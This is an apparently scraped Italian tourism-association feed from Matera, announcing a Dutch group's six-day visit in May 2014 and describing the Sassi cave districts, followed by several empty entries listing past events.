Olandesi visitano la Città dei Sassi https://www.sassiemurgia.com/matera-chiama-amsterdam-olandesi-in-visita-nella-citta-dei-sassi/ Wed, 07 May 2014 10:54:33 +0000 https://www.sassiemurgia.com/?p=1903 Viaggiare è sempre occasione per sapere, sperimentare, confrontarsi con sé stesso e con gli altri. Non c’è cultura più grande di quella che ci permette di conoscere le differenze e condividerle. Bruce Chatwin scriveva: “La vera casa dell’uomo non è una casa, è la strada. La vita stessa è un viaggio da fare a piedi.”
Lo sanno bene i soci dell’associazione culturale di promozione turistica “Sassiemurgia” che da sempre considerano il  viaggio quale mezzo irrinunciabile per far conoscere le numerose attrattive e le tradizioni millenarie di Matera e della Basilicata. In più occasioni l’associazione ha saputo attrarre turisti stranieri nella nostra regione grazie al sapiente mix di entusiasmo, competenza e costanza oltre all’ingrediente principale, ossia il patrimonio culturale e naturale, ricco e variegato, della regione. “Questa volta”, spiega Mariangela Tantone, tra i soci più attivi del sodalizio materano “l’occasione del viaggio è venuta dalla speaker e traduttrice Simonetta Ronconi, di origini italiane ma da tempo residente in Olanda, che trovandosi in Italia per lavoro e vacanza, si è innamorata del nostro territorio ed ha espresso il desiderio di ritornarci con parenti e amici.” Il gruppo sarà a Matera Sabato 10 maggio e trascorrerà, dietro suggerimento delle guide SassieMurgia ben sei giorni in Basilicata.
Giorni all’insegna del relax, dell’esplorazione di luoghi sconosciuti, della cultura, della storia, della buona cucina e della musica. Il programma, oltre a prevedere la visita della città dei Sassi con un focus particolare sull’acqua, include un’interessante escursione nel Parco della Murgia materana, una giornata nella zona delle Dolomiti Lucane e la visita alla Cripta del Peccato Originale. Il tutto condito e accompagnato dalla buona cucina locale, con qualche sperimentazione culinaria, e dalle nostre tradizioni tutte da vivere e scoprire.
Sassiemurgia con Mariangela Tantone e Luca Petruzzellis, Simonetta Ronconi e i suoi viaggiatori aspettano il 10 Maggio per conoscersi e sperimentare insieme una “ sei – giorni” ricca di emozioni …. e perché no? Anche di sorprese!
Per ulteriori informazioni su questo viaggio, su altre iniziative e progetti, è possibile contattare:

A Matera:
SassieMurgia
Tel: (+39) 328.3660687 oppure (+39) 320.4429909
info@sassiemurgia.com

Ad Amsterdam:
Simonetta Ronconi
info@simonettaronconi.com

Scarica il programma

]]>
La Civiltà Rupestre: i Sassi https://www.sassiemurgia.com/la-civilta-rupestre-i-sassi/ https://www.sassiemurgia.com/la-civilta-rupestre-i-sassi/#respond Sat, 15 Feb 2014 15:40:27 +0000 https://www.sassiemurgia.com/wp/?p=1025 “Matera: una città straordinaria. Sembra che ci si affacci a un sottosuolo scoperchiato e abitato, che nell’insieme forma una città maggiore. Una tale adunanza di semicavernicoli, in cui si prolunga senza soluzione di continuità l’esistenza della preistoria, non ha paragoni in Europa, ed è tra i paesaggi italiani che generano più stupore.”
Sono le parole di Guido Piovene, noto scrittore contemporaneo, rapito dal fascino della città dei Sassi come tutti gli altri viaggiatori illustri che lo hanno preceduto.  Gli antichi rioni, patrimonio dell’umanità, sono un labirinto urbano in cui perdersi e ritrovarsi, seguendo il sentiero della storia millenaria di questi luoghi di roccia. Qui le caverne sono abitazioni, chiese affrescate, cantine e ricoveri per il bestiame. E l’acqua ancora si raccoglie in condotti e cisterne scavati nella roccia.

Richiedi il tuo itinerario

sei-su-immagine-raffigurante-veduta-del-sasso-barisano-e-cattedrale-di-matera sei-su-immagine-raffigurante-campanile-in-controluce sei-su-immagine-raffigurante-i-sassi-e-la-gravina-di-matera-nella-fredda-alba-invernale Sei-su-immagine-raffigurante-interno-della-chiesa-rupestre-di-santa-lucia-alle-malve-in-evidenza-archi-e-falsa-cupola-scavati-nella-roccia sei-su-immagine-raffigurante-il-sasso-caveoso-e-via-casalnuovo-a-picco-sul-torrente-gravina sei-su-immagine-raffigurante-il-massiccio-del-monterrone-nel-sasso-caveoso sei-su-immagine-raffigurante-antico-mascherone-nei-sassi sei-su-immagine-raffigurante-alcune-case-palazziate-con-giardini-pensili-nei-sassi sei-su-immagine-raffigurante-un-palmento-scavato-nella-roccia sei-su-immagine-raffigurante-l-antico-monastero-annesso-alla-chiesa-rupestre-della-Madonna-delle-virtù sei-su-immagine-raffigurante-una-cantina-scavata-nella-roccia sei-su-immagine-raffigurante-l-antico-monastero-dove-si-svolgono-le-grandi-mostre-dei-sassi sei-su-immagine-raffigurante-san-giovanni-affrescato-nell-abside-della-chiesa-rupestre-della-madonna-delle-virtù sei-su-immagine-raffigurante-la-navata-destra-della-chiesa-rupestre-di-santa-lucia-alle-malve sei-su-immagine-raffigurante-l-affresco-di-san-michele-arcangelo-nella-chiesa-rupestre-di-santa-lucia-alle-malve sei-su-immagine-raffigurante-palinsesto-di-affreschi-in-chiesa-rupestre-di-San-Giovanni-in-Monterrone

]]>
https://www.sassiemurgia.com/la-civilta-rupestre-i-sassi/feed/ 0
I Sassi al chiaro di luna in fiat 500/2013 https://www.sassiemurgia.com/ee/ https://www.sassiemurgia.com/ee/#respond Wed, 29 Jan 2014 10:00:16 +0000 https://www.sassiemurgia.com/wp/?p=941

]]>
https://www.sassiemurgia.com/ee/feed/ 0
Matera chiama Dortmund/2012 https://www.sassiemurgia.com/matera-chiama-dortmund/ https://www.sassiemurgia.com/matera-chiama-dortmund/#respond Tue, 14 Jan 2014 12:10:40 +0000 https://www.sassiemurgia.com/wp/?p=727

]]>
https://www.sassiemurgia.com/matera-chiama-dortmund/feed/ 0
Itinerari della Notte/Sassi al chiaro di luna/2009 https://www.sassiemurgia.com/itinerari-della-notte-sassi-al-chiaro-di-luna-2009/ https://www.sassiemurgia.com/itinerari-della-notte-sassi-al-chiaro-di-luna-2009/#respond Tue, 17 Dec 2013 13:24:22 +0000 https://www.sassiemurgia.com/wp/?p=574

]]>
https://www.sassiemurgia.com/itinerari-della-notte-sassi-al-chiaro-di-luna-2009/feed/ 0
Educational Tour Le Meraviglie abitano in Provincia/2009 https://www.sassiemurgia.com/educational-tour-le-meraviglie-abitano-in-provincia/ https://www.sassiemurgia.com/educational-tour-le-meraviglie-abitano-in-provincia/#respond Tue, 17 Dec 2013 13:20:31 +0000 https://www.sassiemurgia.com/wp/?p=923

]]>
https://www.sassiemurgia.com/educational-tour-le-meraviglie-abitano-in-provincia/feed/ 0
I Sassi a modo mio/2009 https://www.sassiemurgia.com/i-sassi-a-modo-mio-2009/ https://www.sassiemurgia.com/i-sassi-a-modo-mio-2009/#respond Tue, 17 Dec 2013 13:20:30 +0000 https://www.sassiemurgia.com/wp/?p=557

]]>
https://www.sassiemurgia.com/i-sassi-a-modo-mio-2009/feed/ 0